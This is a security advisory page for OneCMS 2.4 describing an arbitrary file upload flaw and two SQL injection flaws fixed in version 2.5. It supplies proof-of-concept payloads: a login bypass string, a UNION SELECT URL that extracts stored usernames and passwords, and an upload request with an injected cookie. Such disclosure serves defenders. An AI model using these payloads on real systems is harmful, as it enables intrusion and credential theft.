OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
BID:27158
Info
OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
| Bugtraq ID: | 27158 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-7209 CVE-2008-7208 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 07 2008 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | AmnPardaz Security Research Team is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
insanevisions OneCMS 2.4 |
| Not Vulnerable: |
insanevisions OneCMS 2.5 |
Discussion
OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
OneCMS is prone to an arbitrary-file-upload vulnerability and two SQL-injection vulnerabilities because the applications fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to upload and execute arbitrary code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect OneCMS 2.4; other versions may also be affected.
OneCMS is prone to an arbitrary-file-upload vulnerability and two SQL-injection vulnerabilities because the applications fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues to upload and execute arbitrary code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect OneCMS 2.4; other versions may also be affected.
Exploit / POC
OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
An attacker can use a browser to exploit these issues.
The following proofs of concept are available:
SQL-injection attack:
Username: admin' or 1=1 /*
Password: something
http://www.example.com/OneCMS_v2.4/staff.php?user=aaa' union select
1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/* '
Arbitrary-file-upload attack:
POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0
Cookie: username=admin'or 1=1/*;
password=96e79218965eb72c92a549dd5a330112; login_date=1199693273;
style=Trend
An attacker can use a browser to exploit these issues.
The following proofs of concept are available:
SQL-injection attack:
Username: admin' or 1=1 /*
Password: something
http://www.example.com/OneCMS_v2.4/staff.php?user=aaa' union select
1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/* '
Arbitrary-file-upload attack:
POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0
Cookie: username=admin'or 1=1/*;
password=96e79218965eb72c92a549dd5a330112; login_date=1199693273;
style=Trend
Solution / Fix
OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
Solution:
The vendor released OneCMS 2.5 to address this issue. Please see the references for more information.
insanevisions OneCMS 2.4
Solution:
The vendor released OneCMS 2.5 to address this issue. Please see the references for more information.
insanevisions OneCMS 2.4
-
insanevisions OneCMS_v2.5.zip
http://downloads.sourceforge.net/onecms/OneCMS_v2.5.zip?modtime=120043 9909&big_mirror=0
References
OneCMS Arbitrary File Upload Vulnerability and Multiple SQL-injection Vulnerabilities
References:
References: